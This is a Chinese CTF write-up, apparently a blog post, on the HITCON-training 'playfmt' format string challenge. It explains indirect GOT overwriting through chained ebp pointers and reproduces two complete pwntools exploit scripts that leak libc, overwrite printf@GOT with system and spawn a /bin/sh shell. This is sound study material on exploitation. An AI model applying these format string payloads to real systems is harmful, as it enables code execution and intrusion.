标签：evel 需要 libc.so.6 执行 格式化字符串 com cti aaa 是什么
目录
鸽了几天之后，继续练习Hitcon????。
? ? ? ? 同样，这一题也是格式化字符串漏洞，但是这题的格式化字符串不在栈上，而是在全局变量（.bss)段？？？什么情况??。
? ? ? ? 所以这题我们不能直接通过控制栈上变量来修改Got表，那意思是什么呢？就可以通过间接的方式来修改Got表内容咯。
checksec playfmt:
? ? ? ? 简单运行一下程序可以看到，这次的printf函数buf不在栈上，而是在bss段。
IDA看一看：
的确是格式化字符串的漏洞，很明显咯。
用gdb调试，并且输入4个a，可以看到buf不在栈上。
引用大佬的话：
通过修改栈中存在的指针，将其指向栈上的变量，可以间接地实现写got，这种方式是一种常见的套路。c/c++中的
%n是什么意思呢，它是输入格式化控制字符，在这题中可以用于修改栈中变量的值。
我们可以在printf函数处下断点，查看栈中变量情况：
? ? ? ? 可以看到偏移量为6的地方是ebp，而ebp指向了另外一个地址，即偏移量为10的地方，然后又指向偏移量为15的位置。这里我们其实可以走一步捷径，通过获得偏移量为8的地方这个函数地址，leak出libc基地址。
? ? ? ? 正是因为程序是循环运行，所以给了我们足够多次数来间接覆写GOT表。
解题逻辑（来自23r3f ）：
ebp_1 <==>printf函数栈中偏移量为6, 即$ebp ebp_2 <==>printf函数栈中偏移量为10, 即$ebp的值地址 fmt_7 <==>printf函数栈中偏移量为7 fmt_11 <==>printf函数栈中偏移量为11? ? ? ? ebp1的内容是指向ebp2的地址的指针，而ebp2的内容又是指向其他地址的指针，因此如果我们用%n对ebp1进行操作，那么实际上会修改ebp2的值，如果此时再把ebp2的内容改成一个指向fmt7的指针，然后在对ebp2进行%n操作，那么就可以改变fmt7的内容，从而实现了间接修改某个地址的内容，试想一下，我们把fmt7的内容又改成printf的got表地址，那么fmt7就指向了printf_got的地址，如果用%s操作，就可以把printf_got的内容打印出来，从而得到了printf函数的真正地址，到了这里，我们就可以通过printf函数泄漏出system的真正地址了。
具体思路：
1.通过ebp_1使ebp_2指向fmt_7 2.通过ebp_2将fmt_7处的内容覆盖成printf_got 3.通过ebp_1使ebp_2指向fmt_11 4.通过ebp_2将fmt_11处的内容修改成printf_got+2 5.通过fmt_7将printf_got地址泄露出来 6.计算出system函数的地址 ,将system函数地址写入printf在got表的地址 具体做法是将 system函数地址的前两个字节写入fmt_7,后两个字节写入 fmt_11 7.执行printf函数相当于执行system函数 8.输入"/bin/sh"字符串，让system函数从栈中取参数getshell
接下来直接通过理解各位大佬exp的方式，来深入理解这一道题（太菜了我）。
三份大佬EXP各有不同技巧：分别来自M4x，23r3f，veritas501
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#作者：23R3F
from pwn import *
context.log_level = 'debug'
p = process('./playfmt')
elf = ELF('./playfmt')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
printf_got = elf.got['printf']
system_libc = libc.symbols['system']
printf_libc = libc.symbols['printf']
p.recv()
log.info("**********leak printf_got************")
payload = '%6$x'
p.sendline(payload)
ebp2 = int(p.recv(),16)
ebp1 = ebp2 - 0x10
fmt_7 = ebp2 -0x0c
fmt_11 = ebp2 + 0x04
log.info("printf_got-->p[%s]"%hex(printf_got))
log.info("ebp_1-->p[%s]"%hex(ebp1))
log.info("ebp_2-->p[%s]"%hex(ebp2))
log.info("fmt_7-->p[%s]"%hex(fmt_7))
log.info("fmt_11-->p[%s]"%hex(fmt_11))
payload = '%' + str(fmt_7 & 0xffff) + 'c%6$hn'
#ebp2 = fmt_7
p.sendline(payload)
p.recv()
#由于ebp2已经指向了fmt_7，所以修改偏移量10处的ebp2即修改fmt_7
payload = '%' + str(printf_got & 0xffff) + 'c%10$hn'
#fmt_7 = prinf_got
p.sendline(payload)
p.recv()
while True:
p.send("23r3f")
sleep(0.1)
data = p.recv()
if data.find("23r3f") != -1:
break
'''
这个循环用于保证所有的字节都被输出，因为recv（）一次最多只能接收0x1000
个字节，所以要进行多次recv（）才能保证全部字节都输出以便进行下面的操作
需要注意的是，要构造一个字符串“23r3f”来作标志，返回的大量字符串中如果
包含了这个字符串那么说明之前构造的%n写入已经完成
'''
payload = '%' + str(fmt_11 & 0xffff) + 'c%6$hn'
#ebp2 = fmt_11
p.sendline(payload)
p.recv()
payload = '%' + str((printf_got+2) & 0xffff) + 'c%10$hn'
#fmt_11 = prinf_got + 2
p.sendline(payload)
p.recv()
while True:
p.send("23r3f")
sleep(0.1)
data = p.recv()
if data.find("23r3f") != -1:
break
log.info("******leaking the print_got_add*********")
payload = 'aaaa%7$s'
p.sendline(payload)
p.recvuntil("aaaa")
printf_addr = u32(p.recv(4))
log.info("print_got_add is:[%s]"%hex(printf_addr))
system_addr = printf_addr - printf_libc + system_libc
log.info("system_add is:[%s]"%hex(system_addr))
#pause()
payload = '%' +str(system_addr &0xffff) +'c%7$hn'
payload += '%' +str((system_addr>>16) - (system_addr &0xffff)) +'c%11$hn'
'''
这里需要注意的是，我们把system的地址的前后两个字节分别写到fmt-7和fmt-11中，
在写入后两个字节的时候要注意减去前面输入的(system_addr &0xffff))，这是因为
%n写入操作是算累积输入的字符个数
'''
p.sendline(payload)
p.recv()
while True:
p.send("23r3f")
sleep(0.1)
data = p.recv()
if data.find("23r3f") != -1:
break
p.sendline("/bin/sh")
'''
这个时候输入参数到栈中，本来下一步程序会调用printf函数，但是此时printf函数的got表
已经被修改为system的地址了，此时就会执行system并且从栈中取bin/sh参数
于是就这样getshell
'''
p.interactive()
#coding = utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
p_printf = 0x0804A010
libc = ELF('libc.so')
cn = process('./playfmt')
cn.recv()
pay = '%6$x'
cn.sendline(pay)#
p_ebp2 = int(cn.recv(),16)#10
p_7 = p_ebp2-0xc#7
p_11 = p_ebp2+4#11
p_ebp1 = p_ebp2-0x10#6
pay = "%"+str(p_7&0xffff)+"c%6$hn\x00"
cn.sendline(pay)#set p_ebp2->p_7
cn.recv()
pay = "%"+str(p_printf&0xffff)+"c%10$hn\x00"
cn.sendline(pay)#set p_7->p_printf
cn.recv()
while 1:
cn.send("here\x00")
sleep(0.3)
data = cn.recv()
if data.find("here") != -1:
break
pay = "%"+str(p_11&0xffff)+"c%6$hn\x00"
cn.sendline(pay)#set p_ebp2->p_11
cn.recv()
pay = "%"+str((p_printf+2)&0xffff)+"c%10$hn\x00"
cn.sendline(pay)#set p_11->p_printf+2
cn.recv()
cn.sendline('here\x00')
while 1:
cn.send("here\x00")
sleep(0.3)
data = cn.recv()
if data.find("here") != -1:
break
pay = "aaaa%7$s\x00"
cn.sendline(pay)
cn.recvuntil('aaaa')
printf = u32(cn.recv()[:4])
print hex(printf)#leak printf
system = printf-libc.symbols['printf']+libc.symbols['system']
print hex(system)
pay = "%"+str(system&0xffff)+"c%7$hn"
pay += "%"+str((system>>16) - (system&0xffff))+"c%11$hn\x00"
cn.sendline(pay)#hijack printf->system
cn.recv()
while 1:
cn.send("here\x00")
sleep(0.3)
data = cn.recv()
if data.find("here") != -1:
break
cn.sendline('/bin/sh\x00')
cn.interactive()有点懵，好好消化。
原来各处的&ffff，不单单是为了匹配后面的%$hn解引用写两个字节，而是，这种写的方式并不是覆盖，而是将所指定的内存空间的前两个字节换成我们要写的值。
如"%"+str(p_11&0xffff)+"c%6$hn\x00"，则表示将向栈空间偏移量6的位置的前两个字节写成p_11&0xffff，即原数据若为0x12345678，经过操作后变为了0x12340000+p_11&0xffff。
标签：evel 需要 libc.so.6 执行 格式化字符串 com cti aaa 是什么
原文地址：https://www.cnblogs.com/yof3ng/p/9886668.html
